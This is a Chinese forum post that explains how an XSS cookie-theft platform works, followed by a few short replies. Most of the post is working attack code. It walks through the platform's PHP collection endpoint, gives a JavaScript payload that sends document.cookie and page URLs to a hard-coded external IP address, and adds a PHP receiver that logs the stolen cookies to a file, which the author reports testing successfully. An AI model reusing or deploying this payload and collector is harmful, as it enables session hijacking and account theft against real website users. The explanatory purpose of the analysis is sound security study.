用户
搜索

[思路/技术] XSS平台原理浅析

  • TA的每日心情

    2017-12-28 15:34
  • 签到天数: 5 天

    连续签到: 1 天

    [LV.2]偶尔看看

    版主

    Rank: 7Rank: 7Rank: 7

    70

    主题

    249

    帖子

    1487

    魔法币
    收听
    0
    粉丝
    55
    注册时间
    2016-6-21

    i春秋认证春秋巡逻i春秋签约作者春秋游侠春秋文阁

    发表于 2018-6-20 23:31:29 67649
    本帖最后由 Sp4ce 于 2018-6-20 15:33 编辑

    之前一直对XSS平台传递原理很好奇 今天抽空看了下源码并浅略分析 不足之处望多多指出

    先来看index.php

    index.php

    <?php
    /**
     * index.php 默认页
     * ----------------------------------------------------------------
     * OldCMS,site:http://www.oldcms.com
     */
    include('init.php');
    
    $do=Val('do','GET',0);
    $dos=array('index','login','project','module','code','api','do','register','user','keepsession');
    
    if(!in_array($do,$dos)) $do='index';
    include(ROOT_PATH.'/source/'.$do.'.php');
    ?>

    index.php是个入口,定义了do传进来的参数所包含的文件
    由于对目标站和XSS平台间的传递好奇,所以看下api.php

    ctags插件

    Sublime的一个很不错的插件 能快速定位函数调用位置

    api.php

    <?php
    /**
     * api.php 接口
     * ----------------------------------------------------------------
     * OldCMS,site:http://www.oldcms.com
     */
    if (!defined('IN_OLDCMS')) {
        die('Access Denied');
    }
    
    $id = Val('id', 'GET');
    /**
            Val 获得提交的值
            @param         $name                string                        参数名
            @param         $method                string                        获取途径(GET/POST/COOKIE/REQUEST)
            @param         $type                string/int                过滤类型('string'/0=>string,'int'/1=>int,其它/2=>不过滤)
            @param         $isArray        int                                0=>非数组,1=>数组
            @return         $value                string/int        
    */
    
    if ($id) {
        $db      = DBConnect();
        //连接数据库
        $project = $db->FirstRow("SELECT * FROM " . Tb('project') . " WHERE urlKey='{$id}'");
        /* Tb 获取table name */
        //取所属项目第一行
        if (empty($project)) {
            exit();
        }
        //为空跳出
    
        //用户提供的content
        $content = array();
        //待接收的key
        $keys = array();
        /* 模块 begin */
        $moduleIds = array();
        if (!empty($project['modules'])) {
                //模块不为空
            $moduleIds = json_decode($project['modules']);
            //json解码
        }
    
        if (!empty($moduleIds)) {
            $modulesStr = implode(',', $moduleIds);//把moduleIds转为字符串并以,隔开
            $modules    = $db->Dataset("SELECT * FROM " . Tb('module') . " WHERE id IN ($modulesStr)");
            //数据库查询所使用的一个或多个模块
            if (!empty($modules)) {
                foreach ($modules as $module) {
                    if (!empty($module['keys'])) {
                        $keys = array_merge($keys, json_decode($module['keys']));
                        //将待接收的location,toplocation,cookie,opener和模块的location,toplocation,cookie,opener组合成一个数组
                    }
    
                }
            }
        }
        /* 模块 end */
        foreach ($keys as $key) {
            $content[$key] = Val($key, 'REQUEST');
            //接收location,toplocation,cookie,opener并赋值给$content
        }
        if (in_array('toplocation', $keys)) {
            $content['toplocation'] = !empty($content['toplocation']) ? $content['toplocation'] : $content['location'];
            //toplocation判断是否为空,为空则location否则为接收到的toplocation的值
        }
    
        $judgeCookie = in_array('cookie', $keys) ? true : false;
        //判断cookies是否存在于数组中
        /* cookie hash */
        $cookieHash    = md5($project['id'] . '_' . $content['cookie'] . '_' . $content['location'] . '_' . $content['toplocation']);
        //将项目id,接收的cookie,location,toplocation经过MD5后赋值给cookieHash
        $cookieExisted = $db->FirstValue("SELECT COUNT(*) FROM " . Tb('project_content') . " WHERE projectId='{$project[id]}' AND cookieHash='{$cookieHash}'");
        //获取项目中的内容数量
        if (!$judgeCookie || $cookieExisted <= 0) {//如果不存在这条cookie或hash不存在则执行
            //服务器获取的content
            $serverContent                    = array();
            $serverContent['HTTP_REFERER']    = $_SERVER['HTTP_REFERER'];
            //获取返回路径
            $referers                         = @parse_url($serverContent['HTTP_REFERER']);
            //获取http
            $domain                           = $referers['host'] ? $referers['host'] : '';
            //返回域名
            $domain                           = StripStr($domain);
            //过滤处理域名
            $serverContent['HTTP_REFERER']    = StripStr($_SERVER['HTTP_REFERER']);
            $serverContent['HTTP_USER_AGENT'] = StripStr($_SERVER['HTTP_USER_AGENT']);
            $serverContent['REMOTE_ADDR']     = StripStr($_SERVER['HTTP_X_FORWARDED_FOR']);
            $values                           = array(
                'projectId'     => $project['id'],
                'content'       => JsonEncode($content),
                'serverContent' => JsonEncode($serverContent),
                'domain'        => $domain,
                'cookieHash'    => $cookieHash,
                'num'           => 1,
                'addTime'       => time(),
            );
            $db->AutoExecute(Tb('project_content'), $values);
            //根据AutoExecute函数判断自动执行更新或插入
        } else {
            $db->Execute("UPDATE " . Tb('project_content') . " SET num=num+1,updateTime='" . time() . "' WHERE projectId='{$project[id]}' AND cookieHash='{$cookieHash}'");
            //如果hash存在则执行同一项目的更新(增加)
        }
    
        header("Location: $_SERVER[HTTP_REFERER] ");
        //返回来路地址
    }
    ?>

    JS

    读完接口文件看看JS

    (function() {
                  (new Image()).src = 'http://47.100.191.127/test.php?location=' + escape((function() {
                    /**
                     * 新建图片,图片资源地址为你的XSS平台的接口地址
                     * 对下列内容编码
                     * 1、访问的完整路径
                     * 2、cookie
                     * 3、父页面对象
                     */
                      try {
                          return document.location.href
                      } catch (e) {
                          return ''
                      }
                  })()) + '&toplocation=' + escape((function() {
                      try {
                          return top.location.href
                      } catch (e) {
                          return ''
                      }
                  })()) + '&cookie=' + escape((function() {
                      try {
                          return document.cookie
                      } catch (e) {
                          return ''
                      }
                  })()) + '&opener=' + escape((function() {
                      try {
                          return (window.opener && window.opener.location.href) ? window.opener.location.href : ''
                      } catch (e) {
                          return ''
                      }
                  })());
              })();
              if ('' == 1) {
                  keep = new Image();
                  keep.src = 'http://47.100.191.127/test.php?url=' + escape(document.location) + '&cookie=' + escape(document.cookie)
              };

    测试

    至此对XSS平台传递原理有了大概了解,手头上正好有外网服务器,做个测试

    <?php
    /**
     * 获取信息测试
     *
     */
    $cookie      = $_GET['cookie'];
    $refer       = $_SERVER['HTTP_REFERER'];
    $location    = $_GET['location'];
    $toplocation = $_GET['toplocation'];
    $url         = $_GET['url'];
    $time        = date("Y-m-d H:i:s");
    $testfile    = fopen("xsstest.txt", "w") or die("文件打开失败!");
    $txt         = "Cookies:" . $cookie . "\r\n" . "Refer:" . $refer . "\r\n" . "location:" . $location . "\r\n" . "Toplocation:" . $toplocation . "\r\n" . "Time:" . $time . "\r\n";
    fwrite($testfile, $txt);
    fclose($testfile);
    ?>

    本地写个文件

    <script>
    (function() {
                  (new Image()).src = 'http://xxxx/test.php?location=' + escape((function() {
                    /**
                     * 新建图片,图片资源地址为你的XSS平台的接口地址
                     * 对下列内容编码
                     * 1、访问的完整路径
                     * 2、cookie
                     * 3、父页面对象
                     */
                      try {
                          return document.location.href
                      } catch (e) {
                          return ''
                      }
                  })()) + '&toplocation=' + escape((function() {
                      try {
                          return top.location.href
                      } catch (e) {
                          return ''
                      }
                  })()) + '&cookie=' + escape((function() {
                      try {
                          return document.cookie
                      } catch (e) {
                          return ''
                      }
                  })()) + '&opener=' + escape((function() {
                      try {
                          return (window.opener && window.opener.location.href) ? window.opener.location.href : ''
                      } catch (e) {
                          return ''
                      }
                  })());
              })();
              if ('' == 1) {
                  keep = new Image();
                  keep.src = 'http://xxxx/test.php?url=' + escape(document.location) + '&cookie=' + escape(document.cookie)
              };
    </script>

    访问后不出意外会在服务器目录下生成xsstest.txt文件并记录相关信息


    成功

    Debug The World
    发表于 2018-6-21 09:19:34
    冷清的不行啊,空格表哥
    使用道具 举报 回复
    创想科技时代 版主 爱春秋的天下,我要九十九 i春秋认证 春秋文阁
    板凳
    发表于 2018-6-21 14:18:22
    觉得自己计算机功底不行?
    有想法又不会编程?
    想要继续深入学习?
    想学习又找不到资料?
    没人带自学很痛苦?群号: 434199192
    使用道具 举报 回复
    发表于 2018-6-22 08:38:07
    使用道具 举报 回复
    发表于 2018-6-25 15:16:51
    666666厉害
    使用道具 举报 回复
    发表于 2018-6-29 21:13:53
    Sublime是PHPStorm能用的吗
    使用道具 举报 回复
    发表于 2018-7-1 09:33:32
    人工顶楼 = =      
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册